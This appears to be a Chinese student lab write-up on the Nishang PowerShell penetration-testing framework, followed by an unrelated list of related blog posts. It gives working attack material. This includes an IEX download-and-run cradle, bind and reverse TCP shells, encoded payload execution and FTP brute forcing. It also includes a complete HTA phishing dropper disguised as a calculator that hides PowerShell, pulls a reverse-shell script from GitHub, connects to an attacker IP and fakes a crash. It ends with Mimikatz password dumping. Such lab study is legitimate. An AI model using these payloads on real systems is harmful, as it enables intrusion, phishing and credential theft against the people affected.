一、介绍

  • Nishang是基于PowerShell的渗透测试专用工具，它集成了框架、脚本和各种payload，被广泛应用于渗透测试的各个阶段。

二、使用

  • 下载脚本工具：Nishang
  • Nishang需要我们的Powershell版本在v3以上才能使用。
    • 查看当前Powershell版本：get-host

  • 进入相应目录下
  • 导入框架:Import-Module .\nishang.psm1
  • 模块介绍

    • 信息搜集：Gather
    • 域相关脚本：Get-Unconstrained
    • 一个ASPX的Webshell：Antak Webshell
    • 后门：Backdoors
    • Client进行有效钓鱼：Client
    • 权限提升：Escalation
    • 更详细的介绍和使用我们学习参考Powershell 渗透测试工具-Nishang
  • 导入框架后，在使用对应脚本时，可以使用Get-Help 脚本名称 -full得到一些使用提示
  • 两种在内存当中去加载脚本的方式
    • powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]（IEX为远程下载脚本）
    • 第二种：
      • 使用Invoke-Encode脚本来将我们现有的脚本编码压缩：Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
      • 在目标上执行：powershell -e [encodedscript]

三、Nishang渗透测试

1、TCP交互式Shell

  • Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell，且基于TCP协议。
  • 参数
    • -Port需要正向监听的端口或要反向连接的端口。
    • -Bind正向连接
    • -IPAddress选择反向连接时需要连接到的IP地址
    • -Reverse反向连接
  • 正向连接
    • 在靶机运行脚本，监听端口5330：Invoke-PowerShellTcp -Bind -Port 5330
    • 使用nc连接到靶机端口5330：nc -nv 192.168.17.131 5330（这里IP为win10）



      成功获取shell~
  • 反向连接
    • 使用nc监听本地端口5330：nc -ltp 5330
    • 在靶机上反弹shell：Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330（这里IP为kali）



      成功获取shell~
  • 脚本分析
    • 我们先使用Get-Help Invoke-PowerShellTcp -full查看信息（以下为部分，我们可以重点看语法、说明还有示例，这条命令所显示的就是脚本中的注释部分~）

    • 运行参数

    • 主函数部分
      • 我们可以参考所学的socket编程，在wireshark中抓包，我们可以看到TCP数据包，脚本中将靶机作为服务端，在建立三次握手后，服务端会向攻击方发送数据 
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        
$stream.Write($sendbytes,0,$sendbytes.Length)

      • 攻击方获取shell后输入命令时，靶机会接收并执行相应命令，在输出 
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

2、服务爆破

  • 在之前的学习中我们利用Nishang中的扫描模块，尝试了对FTP服务器的爆破，效果如下：

  • 显示爆破过程：Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose

  • wireshark中可以看到当爆破后，ftp服务器端与本地的信息交互，本地确认完得到结果后退出。 
    # 获取返回信息
    
$result = $ftpRequest.GetResponse()
    
$message = $result.BannerMessage + $result.WelcomeMessage

# 打印信息到控制台
    
Write-Output "Match $username : $Password"
    
$success = $true

3、利用HTA反弹获取shell

  • Nishang中有对客户端进行钓鱼的模块——Client，利用该模块生成各种感染的文件如HTA、Word，来执行powershell脚本发动攻击。
  • HTA，HTML-Application的缩写，它直接将某个html页面保存成hta的格式，打开时显示为窗口交互界面，就是一个独立的应用软件。
  • 使用Nishang中的Out-HTA生成带有payload的hta文件：Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1



    这里生成的文件是闪退的...长时间打不开..
  • 借用一篇文中的代码，修改这个生成hta的脚本。
    • 首先生成一个可以弹出系统计算器的代码 
      <title>Caculate</title>
      
<center>
      
<h1>Caculate.exe</h1>
      
<br>
      
<h2>Loading...</h2>
      
<br>
      
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
      
<br>
      
</center>
      
<script language="VBScript">
      
Set Hackdo = CreateObject("Wscript.Shell")
      
Set Check = CreateObject("Scripting.FileSystemObject")
      
If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
      
  Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
      
End If
      
</script>

      Hackdo.Run为调用Wscript.shell中的运行外部程序的函数——run，后面跟着一条powershell命令，用powershell开启计算器。

    • 然后我们可以设置出假装闪退效果，在后面添加下面代码 
      Hackdo.Run "taskkill /f /im mshta.exe"

      这里我们只是杀死了mshta.exe这个进程，而shellcode是注入在powershell中执行的，它的进程还在~

  • 要生成反弹shell，就要修改后面调用powershell执行的部分，原代码中是在生成时用参数调用生成reverse的脚本：Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1，但是kali那边监听没反应
  • 于是换成了直接远程调用脚本，并用vbhide用来隐藏powershell的弹窗。主要代码如下： 
    <body>
    
  <title>XXX-exp</title>
    
  <center>
    
  <h1>Caculate.exe</h1>
    
  <br>
    
  <h2>Loading...</h2>
    
 <br>
    
 [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
    
 <br>
    
 </center>
    
 <script language="VBScript">
    
  Set Hackdo = CreateObject("Wscript.Shell")
    
  Set Check = CreateObject("Scripting.FileSystemObject")
    
  If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
    
   Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide
    
  Hackdo.Run "taskkill /f /im mshta.exe"
    
 End If
    
 </script>
    
  </body>
    
  </html>
    • windows中生成HTA：out-hta
    • kali下监听端口：nc -lv 5330
    • windows下打开HTA
  • 终于获取shell

4、Mimikatz结合Powershell 获取目标主机账号密码

  • mimikatz是由C语言编写的开源小工具，功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证，以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
  • 注意我们要使用管理员身份运行PowerShell
  • 导入Nishang框架Import-Module .\nishang.psm1
  • 使用Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'获取密码

参考资料

Final——Nishang的更多相关文章

  1. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  2. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  3. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  4. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  5. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  6. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  7. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

  8. 浅析Java中的final关键字（转载）

    自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...

  9. java关键字extends（继承）、Supe（父类引用空间）、 This（方法调用者对象）、Instanceof（实例类型-判断对象是否属于某个类）、final（最终）、abstract（抽象） 、interface（接口）0

    java 继承使用关键字extends   继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...

随机推荐

  1. CF336C-Vasily the Bear and Sequence题解--贪心

    题目链接 https://www.luogu.org/problemnew/show/CF336C 分析 一个比较妙的贪心 我们要让最后\(and\)起来的数被\(2^k\)整除且\(k\)最大,我们 ...

  2. html-proload

    对基础与初始化进行预加载 加载顺序 document > preload > 正常加载 media 属性 不同设备时的响应式加载 - media="(max-width: 600 ...

  3. Navicat for MySQL 设置定时任务（事件）

    1.查询界面输入命令,查看定时任务是否开启,未开始时OFF: show variables like '%event_scheduler%'; 2. 查询界面输入命令,开启定时任务: set glob ...

  4. RabbitMQ的持久化

      RabbitMQ的持久化主要体现在三个方面,即交换机持久化,队列持久化及消息持久化 注意,因公司使用php-amqplib来实现RabbitMQ,故之后举例说明的代码均使用的php-amqplib ...

  5. 学java编程软件开发，非计算机专业是否能学

    近几年互联网的发展越来越好,在国外,java程序员已经成为高薪以及稳定职业的代表,虽然国内的有些程序员很苦逼,但是那只是少数,按照国外的大方向来看,程序员还是一个很吃香的职业.根据编程语言的流行程度, ...

  6. 实时跟踪之TRACA

    背景: 目前,在实时跟踪领域存在着越来越多的先进方法,同时也极大地促进了该领域的发展.主要有两种不同的基于深度学习的跟踪方法:1.由在线跟踪器组成,这些跟踪器依赖网络连续的微调来学习目标的变化外观,精 ...

  7. Nexus Repository Manager OSS 2 配置阿里云私服做代理的坑

    安装 搭建 Nexus 私服很简单,官网下载,解压: 使用管理员权限打开cmd: > cd nexus---bundle\nexus--\bin > nexus.bat install # ...

  8. 如何决定使用 HashMap 还是 TreeMap？（未完成）

    如何决定使用 HashMap 还是 TreeMap?(未完成)

  9. E - GCD HDU - 2588

    The greatest common divisor GCD(a,b) of two positive integers a and b,sometimes written (a,b),is the ...

  10. Android使用WebView打包网页成app

    原生app的开发成本和网页相比相对较高,所以越来越多的app使用网页来作为界面,甚至完全将一个网站封装成app,可以提高开发速度,还能基本实现跨平台. 下面以Android为例,在ubuntu-14. ...